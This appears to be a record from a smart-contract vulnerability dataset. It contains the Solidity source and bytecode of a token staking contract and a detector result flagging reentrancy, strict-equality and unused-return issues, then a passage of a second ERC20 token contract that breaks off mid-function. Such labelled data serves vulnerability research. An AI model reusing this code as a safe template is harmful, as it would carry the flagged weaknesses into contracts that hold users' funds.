present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(value))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(value))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(value))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint256(_at(set._inner, index))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } interface Token { function transferFrom(address, address, uint) external returns (bool); function transfer(address, uint) external returns (bool); } contract FarmPrdzEth60 is Ownable { using SafeMath for uint; using EnumerableSet for EnumerableSet.AddressSet; event RewardsTransferred(address holder, uint amount); event RewardsDisbursed(uint amount); // deposit token contract address address public trustedDepositTokenAddress; address public trustedRewardTokenAddress; uint public adminCanClaimAfter = 395 days; uint public withdrawFeePercentX100 = 0; uint public disburseAmount = 45e18; uint public disburseDuration = 30 days; uint public cliffTime = 60 days; uint public disbursePercentX100 = 10000; uint public contractDeployTime; uint public adminClaimableTime; uint public lastDisburseTime; constructor(address _trustedDepositTokenAddress, address _trustedRewardTokenAddress) public { trustedDepositTokenAddress = _trustedDepositTokenAddress; trustedRewardTokenAddress = _trustedRewardTokenAddress; contractDeployTime = now; adminClaimableTime = contractDeployTime.add(adminCanClaimAfter); lastDisburseTime = contractDeployTime; } uint public totalClaimedRewards = 0; EnumerableSet.AddressSet private holders; mapping (address => uint) public depositedTokens; mapping (address => uint) public depositTime; mapping (address => uint) public lastClaimedTime; mapping (address => uint) public totalEarnedTokens; mapping (address => uint) public lastDivPoints; uint public totalTokensDisbursed = 0; uint public contractBalance = 0; uint public totalDivPoints = 0; uint public totalTokens = 0; uint internal pointMultiplier = 1e18; function addContractBalance(uint amount) public onlyOwner { require(Token(trustedRewardTokenAddress).transferFrom(msg.sender, address(this), amount), "Cannot add balance!"); contractBalance = contractBalance.add(amount); } function updateAccount(address account) private { uint pendingDivs = getPendingDivs(account); if (pendingDivs > 0) { require(Token(trustedRewardTokenAddress).transfer(account, pendingDivs), "Could not transfer tokens."); totalEarnedTokens[account] = totalEarnedTokens[account].add(pendingDivs); totalClaimedRewards = totalClaimedRewards.add(pendingDivs); emit RewardsTransferred(account, pendingDivs); } lastClaimedTime[account] = now; lastDivPoints[account] = totalDivPoints; } function getPendingDivs(address _holder) public view returns (uint) { if (!holders.contains(_holder)) return 0; if (depositedTokens[_holder] == 0) return 0; uint newDivPoints = totalDivPoints.sub(lastDivPoints[_holder]); uint depositedAmount = depositedTokens[_holder]; uint pendingDivs = depositedAmount.mul(newDivPoints).div(pointMultiplier); return pendingDivs; } function getNumberOfHolders() public view returns (uint) { return holders.length(); } function canWithdraw(address account) public view returns (uint) { if(now.sub(depositTime[account]) > cliffTime){ return 1 ; } else{ return 0 ; } } function deposit(uint amountToDeposit) public { require(amountToDeposit > 0, "Cannot deposit 0 Tokens"); updateAccount(msg.sender); require(Token(trustedDepositTokenAddress).transferFrom(msg.sender, address(this), amountToDeposit), "Insufficient Token Allowance"); depositedTokens[msg.sender] = depositedTokens[msg.sender].add(amountToDeposit); totalTokens = totalTokens.add(amountToDeposit); if (!holders.contains(msg.sender)) { holders.add(msg.sender); depositTime[msg.sender] = now; } } function withdraw(uint amountToWithdraw) public { require(depositedTokens[msg.sender] >= amountToWithdraw, "Invalid amount to withdraw"); require(now.sub(depositTime[msg.sender]) > cliffTime, "Please wait before withdrawing!"); updateAccount(msg.sender); uint fee = amountToWithdraw.mul(withdrawFeePercentX100).div(1e4); uint amountAfterFee = amountToWithdraw.sub(fee); require(Token(trustedDepositTokenAddress).transfer(owner, fee), "Could not transfer fee!"); require(Token(trustedDepositTokenAddress).transfer(msg.sender, amountAfterFee), "Could not transfer tokens."); depositedTokens[msg.sender] = depositedTokens[msg.sender].sub(amountToWithdraw); totalTokens = totalTokens.sub(amountToWithdraw); if (holders.contains(msg.sender) && depositedTokens[msg.sender] == 0) { holders.remove(msg.sender); } } function claim() public { updateAccount(msg.sender); } function distributeDivs(uint amount) private { if (totalTokens == 0) return; totalDivPoints = totalDivPoints.add(amount.mul(pointMultiplier).div(totalTokens)); emit RewardsDisbursed(amount); } function disburseTokens() public onlyOwner { uint amount = getPendingDisbursement(); // uint contractBalance = Token(trustedRewardTokenAddress).balanceOf(address(this)); if (contractBalance < amount) { amount = contractBalance; } if (amount == 0) return; distributeDivs(amount); contractBalance = contractBalance.sub(amount); lastDisburseTime = now; } function getPendingDisbursement() public view returns (uint) { uint timeDiff = now.sub(lastDisburseTime); uint pendingDisburse = disburseAmount .mul(disbursePercentX100) .mul(timeDiff) .div(disburseDuration) .div(10000); return pendingDisburse; } function getDepositorsList(uint startIndex, uint endIndex) public view returns (address[] memory stakers, uint[] memory stakingTimestamps, uint[] memory lastClaimedTimeStamps, uint[] memory stakedTokens) { require (startIndex < endIndex); uint length = endIndex.sub(startIndex); address[] memory _stakers = new address[](length); uint[] memory _stakingTimestamps = new uint[](length); uint[] memory _lastClaimedTimeStamps = new uint[](length); uint[] memory _stakedTokens = new uint[](length); for (uint i = startIndex; i < endIndex; i = i.add(1)) { address staker = holders.at(i); uint listIndex = i.sub(startIndex); _stakers[listIndex] = staker; _stakingTimestamps[listIndex] = depositTime[staker]; _lastClaimedTimeStamps[listIndex] = lastClaimedTime[staker]; _stakedTokens[listIndex] = depositedTokens[staker]; } return (_stakers, _stakingTimestamps, _lastClaimedTimeStamps, _stakedTokens); } }
0x608060405234801561001057600080fd5b50600436106101fb5760003560e01c80638b7afe2e1161011a578063c326bf4f116100ad578063d7130e141161007c578063d7130e1414610877578063e027c61f14610895578063f2fde38b146108b3578063f3f91fa0146108f7578063fe547f721461094f576101fb565b8063c326bf4f146107c5578063ca7e08351461081d578063d1b965f31461083b578063d578ceab14610859576101fb565b806398896d10116100e957806398896d10146107035780639f54790d1461075b578063ac51de8d14610779578063b6b55f2514610797576101fb565b80638b7afe2e1461065f5780638da5cb5b1461067d5780638e20a1d9146106c75780638f5705be146106e5576101fb565b8063308feec3116101925780634e71d92d116101615780634e71d92d146105c15780636270cd18146105cb57806365ca78be146106235780637e1c0c0914610641576101fb565b8063308feec3146104d357806331a5dda1146104f1578063452b4cfc1461053b57806346c6487314610569576101fb565b806319262d30116101ce57806319262d30146103ab5780631cfa8021146104035780631f04461c1461044d5780632e1a7d4d146104a5576101fb565b806305447d25146102005780630813cc8f146103655780630c9a0c781461036f5780630f1a64441461038d575b600080fd5b6102366004803603604081101561021657600080fd5b81019080803590602001909291908035906020019092919050505061096d565b6040518080602001806020018060200180602001858103855289818151815260200191508051906020019060200280838360005b8381101561028557808201518184015260208101905061026a565b50505050905001858103845288818151815260200191508051906020019060200280838360005b838110156102c75780820151818401526020810190506102ac565b50505050905001858103835287818151815260200191508051906020019060200280838360005b838110156103095780820151818401526020810190506102ee565b50505050905001858103825286818151815260200191508051906020019060200280838360005b8381101561034b578082015181840152602081019050610330565b505050509050019850505050505050505060405180910390f35b61036d610c86565b005b610377610d39565b6040518082815260200191505060405180910390f35b610395610d3f565b6040518082815260200191505060405180910390f35b6103ed600480360360208110156103c157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d45565b6040518082815260200191505060405180910390f35b61040b610db5565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61048f6004803603602081101561046357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ddb565b6040518082815260200191505060405180910390f35b6104d1600480360360208110156104bb57600080fd5b8101908080359060200190929190505050610df3565b005b6104db6113b9565b6040518082815260200191505060405180910390f35b6104f96113ca565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6105676004803603602081101561055157600080fd5b81019080803590602001909291905050506113f0565b005b6105ab6004803603602081101561057f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506115f1565b6040518082815260200191505060405180910390f35b6105c9611609565b005b61060d600480360360208110156105e157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611614565b6040518082815260200191505060405180910390f35b61062b61162c565b6040518082815260200191505060405180910390f35b610649611632565b6040518082815260200191505060405180910390f35b610667611638565b6040518082815260200191505060405180910390f35b61068561163e565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6106cf611663565b6040518082815260200191505060405180910390f35b6106ed611669565b6040518082815260200191505060405180910390f35b6107456004803603602081101561071957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061166f565b6040518082815260200191505060405180910390f35b6107636117b6565b6040518082815260200191505060405180910390f35b6107816117bc565b6040518082815260200191505060405180910390f35b6107c3600480360360208110156107ad57600080fd5b8101908080359060200190929190505050611833565b005b610807600480360360208110156107db57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611b61565b6040518082815260200191505060405180910390f35b610825611b79565b6040518082815260200191505060405180910390f35b610843611b7f565b6040518082815260200191505060405180910390f35b610861611b85565b6040518082815260200191505060405180910390f35b61087f611b8b565b6040518082815260200191505060405180910390f35b61089d611b91565b6040518082815260200191505060405180910390f35b6108f5600480360360208110156108c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611b97565b005b6109396004803603602081101561090d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611ce8565b6040518082815260200191505060405180910390f35b610957611d00565b6040518082815260200191505060405180910390f35b60608060608084861061097f57600080fd5b60006109948787611d2290919063ffffffff16565b905060608167ffffffffffffffff811180156109af57600080fd5b506040519080825280602002602001820160405280156109de5781602001602082028036833780820191505090505b50905060608267ffffffffffffffff811180156109fa57600080fd5b50604051908082528060200260200182016040528015610a295781602001602082028036833780820191505090505b50905060608367ffffffffffffffff81118015610a4557600080fd5b50604051908082528060200260200182016040528015610a745781602001602082028036833780820191505090505b50905060608467ffffffffffffffff81118015610a9057600080fd5b50604051908082528060200260200182016040528015610abf5781602001602082028036833780820191505090505b50905060008b90505b8a811015610c6b576000610ae682600d611d3990919063ffffffff16565b90506000610afd8e84611d2290919063ffffffff16565b905081878281518110610b0c57fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054868281518110610b9257fe5b602002602001018181525050601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054858281518110610bea57fe5b602002602001018181525050600f60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054848281518110610c4257fe5b6020026020010181815250505050610c64600182611d0690919063ffffffff16565b9050610ac8565b50838383839850985098509850505050505092959194509250565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610cdf57600080fd5b6000610ce96117bc565b9050806015541015610cfb5760155490505b6000811415610d0a5750610d37565b610d1381611d53565b610d2881601554611d2290919063ffffffff16565b60158190555042600b81905550505b565b60085481565b60075481565b6000600754610d9c601060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442611d2290919063ffffffff16565b1115610dab5760019050610db0565b600090505b919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60136020528060005260406000206000915090505481565b80600f60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610ea8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f496e76616c696420616d6f756e7420746f20776974686472617700000000000081525060200191505060405180910390fd5b600754610efd601060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442611d2290919063ffffffff16565b11610f70576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f506c656173652077616974206265666f7265207769746864726177696e67210081525060200191505060405180910390fd5b610f7933611de1565b6000610fa4612710610f96600454856120f790919063ffffffff16565b61212690919063ffffffff16565b90506000610fbb8284611d2290919063ffffffff16565b9050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561108757600080fd5b505af115801561109b573d6000803e3d6000fd5b505050506040513d60208110156110b157600080fd5b8101908080519060200190929190505050611134576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f436f756c64206e6f74207472616e73666572206665652100000000000000000081525060200191505060405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156111dd57600080fd5b505af11580156111f1573d6000803e3d6000fd5b505050506040513d602081101561120757600080fd5b810190808051906020019092919050505061128a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f436f756c64206e6f74207472616e7366657220746f6b656e732e00000000000081525060200191505060405180910390fd5b6112dc83600f60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d2290919063ffffffff16565b600f60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061133483601754611d2290919063ffffffff16565b60178190555061134e33600d61213f90919063ffffffff16565b801561139957506000600f60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b156113b4576113b233600d61216f90919063ffffffff16565b505b505050565b60006113c5600d61219f565b905090565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461144957600080fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd3330846040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b15801561152657600080fd5b505af115801561153a573d6000803e3d6000fd5b505050506040513d602081101561155057600080fd5b81019080805190602001909291905050506115d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f43616e6e6f74206164642062616c616e6365210000000000000000000000000081525060200191505060405180910390fd5b6115e881601554611d0690919063ffffffff16565b60158190555050565b60106020528060005260406000206000915090505481565b61161233611de1565b565b60126020528060005260406000206000915090505481565b60145481565b60175481565b60155481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60165481565b60065481565b600061168582600d61213f90919063ffffffff16565b61169257600090506117b1565b6000600f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414156116e357600090506117b1565b6000611739601360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054601654611d2290919063ffffffff16565b90506000600f60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905060006117a860185461179a85856120f790919063ffffffff16565b61212690919063ffffffff16565b90508093505050505b919050565b60095481565b6000806117d4600b5442611d2290919063ffffffff16565b9050600061182961271061181b60065461180d866117ff6008546005546120f790919063ffffffff16565b6120f790919063ffffffff16565b61212690919063ffffffff16565b61212690919063ffffffff16565b9050809250505090565b600081116118a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f43616e6e6f74206465706f736974203020546f6b656e7300000000000000000081525060200191505060405180910390fd5b6118b233611de1565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd3330846040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b15801561198f57600080fd5b505af11580156119a3573d6000803e3d6000fd5b505050506040513d60208110156119b957600080fd5b8101908080519060200190929190505050611a3c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f496e73756666696369656e7420546f6b656e20416c6c6f77616e63650000000081525060200191505060405180910390fd5b611a8e81600f60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d0690919063ffffffff16565b600f60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611ae681601754611d0690919063ffffffff16565b601781905550611b0033600d61213f90919063ffffffff16565b611b5e57611b1833600d6121b490919063ffffffff16565b5042601060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b50565b600f6020528060005260406000206000915090505481565b600a5481565b60045481565b600c5481565b60035481565b600b5481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611bf057600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611c2a57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60116020528060005260406000206000915090505481565b60055481565b600080828401905083811015611d1857fe5b8091505092915050565b600082821115611d2e57fe5b818303905092915050565b6000611d4883600001836121e4565b60001c905092915050565b60006017541415611d6357611dde565b611da0611d8f601754611d81601854856120f790919063ffffffff16565b61212690919063ffffffff16565b601654611d0690919063ffffffff16565b6016819055507f497e6c34cb46390a801e970e8c72fd87aa7fded87c9b77cdac588f235904a825816040518082815260200191505060405180910390a15b50565b6000611dec8261166f565b9050600081111561206957600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015611ea057600080fd5b505af1158015611eb4573d6000803e3d6000fd5b505050506040513d6020811015611eca57600080fd5b8101908080519060200190929190505050611f4d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f436f756c64206e6f74207472616e7366657220746f6b656e732e00000000000081525060200191505060405180910390fd5b611f9f81601260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d0690919063ffffffff16565b601260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611ff781600c54611d0690919063ffffffff16565b600c819055507f586b2e63a21a7a4e1402e36f48ce10cb1ec94684fea254c186b76d1f98ecf1308282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a15b42601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550601654601360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6000808284029050600084148061211657508284828161211357fe5b04145b61211c57fe5b8091505092915050565b60008082848161213257fe5b0490508091505092915050565b6000612167836000018373ffffffffffffffffffffffffffffffffffffffff1660001b612267565b905092915050565b6000612197836000018373ffffffffffffffffffffffffffffffffffffffff1660001b61228a565b905092915050565b60006121ad82600001612372565b9050919050565b60006121dc836000018373ffffffffffffffffffffffffffffffffffffffff1660001b612383565b905092915050565b600081836000018054905011612245576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806123f46022913960400191505060405180910390fd5b82600001828154811061225457fe5b9060005260206000200154905092915050565b600080836001016000848152602001908152602001600020541415905092915050565b6000808360010160008481526020019081526020016000205490506000811461236657600060018203905060006001866000018054905003905060008660000182815481106122d557fe5b90600052602060002001549050808760000184815481106122f257fe5b906000526020600020018190555060018301876001016000838152602001908152602001600020819055508660000180548061232a57fe5b6001900381819060005260206000200160009055905586600101600087815260200190815260200160002060009055600194505050505061236c565b60009150505b92915050565b600081600001805490509050919050565b600061238f8383612267565b6123e85782600001829080600181540180825580915050600190039060005260206000200160009091909190915055826000018054905083600101600084815260200190815260200160002081905550600190506123ed565b600090505b9291505056fe456e756d657261626c655365743a20696e646578206f7574206f6620626f756e6473a26469706673582212202c0e9eb8fd5dd747319c6d6c552cb0a9893108e8ed26e30115dfc39f8814f1ac64736f6c634300060b0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
2,553
0x978b1ec350eb62ceef82dc016815ee85a38da3e4
/** *Submitted for verification at Etherscan.io on 2021-02-09 */ // File: browser/Unmarshal.sol pragma solidity ^0.6.0; /// @title Unmarshal Rewards contract /// @author Unmarshal /// @notice This is main MARSH token /// /// @dev Owner (multisig) can set list of rewards tokens MARSH. /// This token can be mint by owner eg we need MARSH for auction. After that we can burn the key /// so nobody can mint anymore. /// It has limit for max total supply, so we need to make sure, total amount of MARSH fit this limit. interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Context { constructor () internal { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } contract Unmarshal is Context, IERC20 { function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount 